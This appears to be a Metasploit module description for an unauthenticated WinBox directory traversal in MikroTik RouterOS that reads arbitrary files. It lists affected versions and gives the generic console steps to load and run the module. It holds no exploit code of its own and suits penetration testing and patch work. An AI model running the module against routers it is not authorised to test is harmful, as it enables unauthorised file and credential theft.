MikroTik RouterOS (bugfix) 6.30.1-6.40.7, (current) 6.29-6.42, (RC) 6.29rc1-6.43rc3 allows unauthenticated remote attackers to read arbitrary files through a directory traversal through the WinBox interface (typically port 8291).
To display the available options, load the module within the Metasploit console and run the commands 'show options' or 'show advanced':
msf > use auxiliary/gather/mikrotik_winbox_fileread
msf auxiliary(mikrotik_winbox_fileread) > show actions
...actions...
msf auxiliary(mikrotik_winbox_fileread) > set ACTION < action-name >
msf auxiliary(mikrotik_winbox_fileread) > show options
...show and set options...
msf auxiliary(mikrotik_winbox_fileread) > run
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